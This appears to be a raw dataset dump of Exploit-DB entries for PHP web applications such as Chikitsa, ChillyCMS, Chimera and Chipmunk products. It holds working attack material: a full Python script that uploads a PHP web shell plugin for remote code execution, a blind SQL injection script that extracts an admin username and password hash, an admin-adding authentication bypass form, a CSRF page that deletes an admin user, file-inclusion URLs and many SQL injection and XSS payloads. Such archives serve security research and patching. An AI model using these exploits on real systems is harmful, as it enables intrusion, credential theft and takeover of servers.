deardaniel/secdata-raw huggingface dataset:
Exploit-DB #50571
Description: Chikitsa Patient Management System 2.0.2 - 'plugin' Remote Code Execution (RCE) (Authenticated)
Type: webapps
Platform: php
Date: 2021-12-09
Author: 0z09e

Exploit:
# Exploit Title: Chikitsa Patient Management System 2.0.2 - Remote Code Execution (RCE) (Authenticated)
# Date: 03/12/2021
# Exploit Author: 0z09e (https://twitter.com/0z09e)
# Vendor Homepage: https://sourceforge.net/u/dharashah/profile/
# Software Link: https://sourceforge.net/projects/chikitsa/files/Chikitsa%202.0.2.zip/download
# Version: 2.0.2
# Tested on: Ubuntu

import requests
import os
import argparse

def login(session , target , username , password):
	print("[+] Attempting to login with the credential")
	url = target + "/index.php/login/valid_signin"
	login_data = {"username" : username , "password" : password}
	session.post(url , data=login_data , verify=False)
	return session

def generate_plugin():
	print("[+] Generating a malicious plugin")
	global tmp_dir
	tmp_dir = os.popen("mktemp -d").read().rstrip()
	open(f"{tmp_dir}/rce.php" , "w").write("<?php system($_REQUEST['cmd']);?>")
	os.popen(f"cd {tmp_dir} && zip rce.zip rce.php").read()

def upload_plugin(session , target):
	print("[+] Uploading the plugin into the server.")
	url = target + "/index.php/module/upload_module/"
	file = open(f"{tmp_dir}/rce.zip" , "rb").read()
	session.post(url , verify=False ,files = {"extension" : ("rce.zip" , file)})
	session.get(target + "/index.php/module/activate_module/rce" , verify=False)
	print(f"[+] Backdoor Deployed at : {target}/application/modules/rce.php")
	print(f"[+] Example Output : {requests.get(target +'/application/modules/rce.php?cmd=id' , verify=False).text}")

def main():
	parser = argparse.ArgumentParser("""
		        __    _ __   _ __            
  _____/ /_  (_) /__(_) /__________ _
 / ___/ __ \/ / //_/ / __/ ___/ __ `/
/ /__/ / / / / ,< / / /_(__  ) /_/ / 
\___/_/ /_/_/_/|_/_/\__/____/\__,_/  
                                     
Chikitsa Patient Management System 2.0.2 Authenticated Plugin Upload Remote Code Execution : 
POC Written By - 0z09e (https://twitter.com/0z09e)\n\n""" , formatter_class=argparse.RawTextHelpFormatter)
	req_args = parser.add_argument_group('required arguments')
	req_args.add_argument("URL" , help="Target URL. Example : http://10.20.30.40/path/to/chikitsa")
	req_args.add_argument("-u" , "--username" , help="Username" , required=True)
	req_args.add_argument("-p" , "--password" , help="password", required=True)
	args = parser.parse_args()

	target = args.URL
	if target[-1] == "/":
		target = target[:-1]
	username = args.username
	password = args.password

	session = requests.session()
	login(session , target , username , password)
	generate_plugin()
	upload_plugin(session , target)

if __name__ == "__main__":
	main()
Exploit-DB #43271
Description: Child Care Script 1.0 - 'city' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-08
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Child Care Script 1.0 - SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/child-care-script/
# Demo: http://ordermanagementscript.com/demo/childcare/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/list?city=[SQL]&main_search=
# 
# '+/*!11111UNION*/+/*!11111SELECT*/+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52--+-
# 
# # # # #
Exploit-DB #12643
Description: ChillyCMS - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-05-18
Author: IHTeam

Exploit:
#!/usr/bin/hybris
#################################################################################
#
# Exploit Title: ChillyCMS Blind Sql Injection
# Date: 14-05-2010
# Author: IHTeam
# Software Link:
http://chillycms.bplaced.net/chillyCMS/core/show.site.php?id=9
# Version: 1.1.2
# Tested on: Win/Linux
#
#
# Example:
# [user@user Advisories]$ hybris chillycms.hy
# Searching Username... :
# admin
# Searching MD5... :
# d033e22ae348aeb5660fc2140aec35850c4da997
#
#
# DEFAULT USERNAME AND PASSWORD:
# User: jens
# Pass: demo
#
# Thanks to evilsocket for Hybris
# http://www.hybris-lang.org/
#################################################################################

import std.*;

query1 = "4/**/AND/**/(SELECT/**/SUBSTRING(";
query2 = ")/**/FROM/**/system_users/**/limit/**/0,1)=char(";

chars =
[48:0,49:1,50:2,51:3,52:4,53:5,54:6,55:7,56:8,57:9,97:'a',98:'b',99:'c',100:'d',101:'e',102:'f'];
usr = "";
password = "";

i=1;
println("Searching Username... : ");
while(1) {
found=false;
chrs = 'a' .. 'z';
foreach(char of chrs) {
_chrs = toint(char);
url =
"/chillyCMS/core/show.site.php?editprofile&mod="+query1+"user,"+i+",1"+query2+_chrs+")";
html = http_get( "http://localhost", url );
if (html ~= "/name='user'/") {
usr += char;
i+=1;
found=true;
}
}
if (!found) {
break;
}
}
println(usr);

i=1;
println("Searching MD5... : ");
while(1) {
found=false;
foreach(char of chars.keys()) {
url =
"/chillyCMS/core/show.site.php?editprofile&mod="+query1+"pw,"+i+",1"+query2+char+")";
html = http_get( "http://localhost", url );
if (html ~= "/name='user'/") {
password += chars[char];
i+=1;
found=true;
}
}
if (!found) {
break;
}
}
println(password);
println();
Exploit-DB #11781
Description: ChillyCMS - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2010-03-17
Author: pratul agrawal

Exploit:
                                =======================================================================
   
                                                    chilly_CMS CSRF Vulnerability
 
                                =======================================================================
   
                                                              
 
   
   
  # Vulnerability found in- Admin module
   
  # email         Pratulag@yahoo.com
   
  # company       aksitservices
   
  # Credit by     Pratul Agrawal
 
  # Software      chilly_CMS

  # Category  	  CMS / Portals
  
  # Plateform     php

  # Greetz to     Gaurav, Prateek, Vivek, Sanjay, Sourabh, Varun (My Web Team)
  
   
   
  #  Proof of concept   #
   
 
   Script to Delete the Admin user through Cross Site request forgery
   
             .  ................................................................................................................
   
                        <html>
 
                          <body>
 
                              <img src=http://server/chillycms/admin/usersgroups.site.php?action=deleteuser&id=[user ID] />
 
                          </body>
 
                        </html>
   
             .  ..................................................................................................................
   
   
   
  After execution refresh the page and u can see that a added content is deleted automatically.
  
  
  #If you have any questions, comments, or concerns, feel free to contact me.
Exploit-DB #14897
Description: ChillyCMS 1.1.3 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-09-05
Author: AmnPardaz

Exploit:
##########################www.BugReport.ir########################################
#
#        AmnPardaz Security Research Team
#
# Title:		chillyCMS Multiple Vulnerabilities
# Vendor:		http://frozenpepper.de/
# Vulnerable Version:	1.1.3 (Latest version till now)
# Exploitation:		Remote with browser
# Fix:			N/A
###################################################################################

####################
- Description:
####################

chillyCMS is a Content Management System. Its main features are:  
easily edit your content in a WYSIWYG editor,
manage your users in different groups with different rights, upload  
single files or whole zip archives,
insert your pictures into the content by drag and drop, one click  
backup with integrated installer,
extend your cms with various modules, see which articles are most  
popular in the statistics.


####################
- Vulnerability:
####################

+--> SQL Injection
	The username, in the login form, is one-parenthesis single-quoted  
injectable. For details check
	the PoC section.

+--> Reflective XSS
	Whenever login failed, the username will be printed without  
sanitizing on the main page. This could
	be used for executing any JavaScript code.

####################
- Exploits/PoCs:
####################

+--> Exploiting The (MySQL) SQL Injection Vulnerability:
	Simply go to the login page at  
'victim.com/chillyCMS/core/show.site.php' and use
	the following vector for injecting arbitrary queries:
	    ') or $THE_QUERY or 1=('
	For example you may use following vector for extracting the pw field  
(for password) of the admin user
	    admin')and substr(pw,I,1)=('C
	replacing the I with the index of char in a loop and C with different  
characters of it. If the query result
	was true, username will be accepted and wrong password error will be  
shown. If the query result was false,
	then username will be rejected and the wrong username error will be  
shown. Allowing blind SQL injection
	to be performed.

+--> Exploiting The Reflective XSS Vulnerability:
	Use the following sample vector in the username field of the login  
page (or any other valid JavaScript
	code) => username:      <script>alert('XSS')</script>

####################
- Solution:
####################

White-list the input parameters before using them in the SQL queries,  
removing any ', \, ( characters
or more simply restrict the parameters' length to a small length.

####################
- Credit:
####################
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
www.BugReport.ir
www.AmnPardaz.com
Exploit-DB #35629
Description: ChillyCMS 1.2.1 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2011-04-16
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/47395/info

chillyCMS is prone to multiple remote file-include vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

Exploiting these issues may allow a remote attacker to obtain sensitive information or to execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.

chillyCMS 1.2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/core/helpers.include.php?file=[Ev!l-Sh3ll]
http://www.example.com/[path]/core/helpers.include.php?path=[Ev!l-Sh3ll]
http://www.example.com/[path]/core/helpers.include.php?fullpath=[Ev!l-Sh3ll]
Exploit-DB #24507
Description: ChillyCMS 1.3.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-02-15
Author: Abhi M Balakrishnan

Exploit:
# Exploit Title: chillyCMS 1.3.0 Multiple Vulnerabilities
# Google Dork: "powered by chillyCMS"
# Date: 15 February 2013
# Exploit Author: Abhi M Balakrishnan
# Vendor Homepage: http://chillycms.bplaced.net/
# Software Link: http://chillycms.bplaced.net/chillyCMS/media/files/chillyCMS_full.zip
# Version: 1.3.0
# Tested on: uWAMP 2.1 (PHP 5.2.17, MySQL 5.5.9), Windows 8
# Video: http://www.youtube.com/watch?v=6B3rND9S75g


# Vulnerability
	Failure to Restrict URL Access
	chillyCMS uses 302 redirects to restrict access to the unautorized pages.
	
# Exploit
    Step 1: Create a rule in No-Redirect Add-on: ^http://localhost/chillyCMS/
    Step 2: Access http://localhost/chillyCMS/admin/


# Vulnerability
	Arbitrary File Upload
	chillyCMS/admin/design.site.php page extracts all uploaded ZIP files to chillyCMS/tmp directory
	
# Exploit
    Step 1: Create a ZIP file of the files to be uploaded. Example: Compress shell.php to get shell.zip
    Step 2: Upload shell.zip
	Step 3: Access the shell at http://localhost/chillyCMS/tmp/shell.php
	
# History
	11 March 2012 - Discovered vulnerability and exploit, contacted the vendor.
	12 March 2012 - Vendor responds back, exchanges few mails.
	15 November 2012 - Vendor discontinues further development.
	15 February 2013 - Published the vulnerabilities and exploits to the public.
	
# How to reproduce
	The latest download from the website was not working on fresh install. An earlier version (1.1.3) has been installed and all the PHP files, except config.php, have been replaced with new files.
Exploit-DB #27017
Description: Chimera Web Portal 0.2 - 'linkcategory.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2006-01-01
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/16113/info
 
Chimera Web Portal is prone to multiple input validation vulnerabilities. The issues include cross-site scripting and SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks. 

http://www.example.com/chimera/linkcategory.php?id=9999'%20union%20select%20admin_password%20from%20admin/*
Exploit-DB #27016
Description: Chimera Web Portal 0.2 - 'modules.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-01-01
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/16113/info

Chimera Web Portal is prone to multiple input validation vulnerabilities. The issues include cross-site scripting and SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks. 

http://www.example.com/chimera/modules.php?name=guestbook&file=index
comment_poster=XSS
comment_poster_email=XSS
comment_poster_homepage=XSS
comment_text=XSS
Exploit-DB #27908
Description: Chipmunk 1.4 - 'Guestbook index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-05-27
Author: black-code

Exploit:
source: https://www.securityfocus.com/bid/18118/info

Chipmunk Guestbook is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/scambi/index.php?start=[XSS]
Exploit-DB #31952
Description: Chipmunk Blog - 'archive.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-06-23
Author: sl4xUz

Exploit:
source: https://www.securityfocus.com/bid/29883/info
   
Chipmunk Blog is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
http://www.example.com/path/archive.php?membername=[XSS]
http://www.example.com/path/archive.php?membername=%22%3E%3Cscript%3Ealert(123);%3C/script%3E
Exploit-DB #31953
Description: Chipmunk Blog - 'cat.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-06-23
Author: sl4xUz

Exploit:
source: https://www.securityfocus.com/bid/29883/info
    
Chipmunk Blog is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
http://www.example.com/path/cat.php?membername=[XSS]
http://www.example.com/path/cat.php?membername=%22%3E%3Cscript%3Ealert(123);%3C/script%3E
Exploit-DB #31950
Description: Chipmunk Blog - 'comments.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-06-23
Author: sl4xUz

Exploit:
source: https://www.securityfocus.com/bid/29883/info
 
Chipmunk Blog is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
http://www.example.com/path/comments.php?membername=[XSS]
http://www.example.com/path/comments.php?membername=%22%3E%3Cscript%3Ealert(123);%3C/script%3E
Exploit-DB #31949
Description: Chipmunk Blog - 'members.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-06-23
Author: sl4xUz

Exploit:
source: https://www.securityfocus.com/bid/29883/info

Chipmunk Blog is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/path/members.php?membername=[XSS]
http://www.example.com/path/members.php?membername=%22%3E%3Cscript%3Ealert(123);%3C/script%3E
Exploit-DB #31951
Description: Chipmunk Blog - 'photos.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-06-23
Author: sl4xUz

Exploit:
source: https://www.securityfocus.com/bid/29883/info
  
Chipmunk Blog is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/path/photos.php?membername=[XSS]
http://www.example.com/path/photos.php?membername=%22%3E%3Cscript%3Ealert(123);%3C/script%3E
Exploit-DB #7894
Description: Chipmunk Blog - (Authentication Bypass) Add Admin
Type: webapps
Platform: php
Date: 2009-01-28
Author: x0r

Exploit:
#########################################################################################
[0x01] Informations:

Script         : Chipmunk Blog
Download       : http://www.chipmunk-scripts.com/blog/blog.zip
Vulnerability  : Add Admin Exploit\Auth Bypass
Author         : x0r
Contact        : x0r@live.it \ andry2000@hotmail.it
Website        : NULL

#########################################################################################
[0x02] Bug: \admin\reguser.php \admin\authenticate.php

if (isset($_POST['submit'])) // name of submit button
{
   $username=$_POST['username'];
   $password=$_POST['password'];
   $password=md5($password);
   $getadmin="SELECT * from bl_admin where username='$username' and
[CREDENTIAL_REDACTED]'";
   $getadmin2=mysql_query($getadmin) or die("Could not get admin");


#########################################################################################
[0x03] Exploit:

Add Admin:

<html>
<head>
<title> Chipmunk Blog (reguser.php) Add Admin Exploit (html)</title>
</head>
<body>
<form action=http://xxxxxxx/blog/admin/reguser.php method=post>
Username:<br>
<input type=text name='username' value='x0r' size="20"><br>
Password:<br>
<input type=text name='password' value='h4x0rz' size="20"><br>
<input type="text" name="pass2" value='h4x0rz' size="15"><br>
<input type=submit name='submit' value='submit'><br>
</form>
</body>
</html>

Exploit2: admin ' or ' 1=1--
#########################################################################################

# milw0rm.com [2009-01-28]
Exploit-DB #26116
Description: Chipmunk CMS 1.3 - Fontcolor Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-08-08
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14506/info

Chipmunk CMS is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to inject html and script code into the Web browser of an unsuspecting victim. The attacker may then steal cookie-based authentication credentials. Other attacks are also possible. 

http://www.example.com/[path]/?fontcolor='><script>alert(document.cookie)</script>
Exploit-DB #27909
Description: Chipmunk Directory - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-05-27
Author: black-code

Exploit:
source: https://www.securityfocus.com/bid/18119/info

Chipmunk Directory is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/directory/index.php?catid=catid&start=[XSS]
Exploit-DB #26381
Description: Chipmunk Directory - 'recommend.php?entryID' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-10-20
Author: Alireza Hassani

Exploit:
source: https://www.securityfocus.com/bid/15149/info
   
Chipmunk products are prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the applications to properly sanitize user-supplied input.
   
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/directory/recommend.php?entryID='%3C/a>%3CIFRAME%20SRC=javascript:alert(%2527xss%2527)%3E%3C/IFRAME%3E
Exploit-DB #26378
Description: Chipmunk Forum - 'newtopic.php?forumID' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-10-20
Author: Alireza Hassani

Exploit:
source: https://www.securityfocus.com/bid/15149/info

Chipmunk products are prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the applications to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/board/newtopic.php?forumID='%3C/a>%3CIFRAME%20SRC=javascript:alert(%2527xss%2527)%3E%3C/IFRAME%3E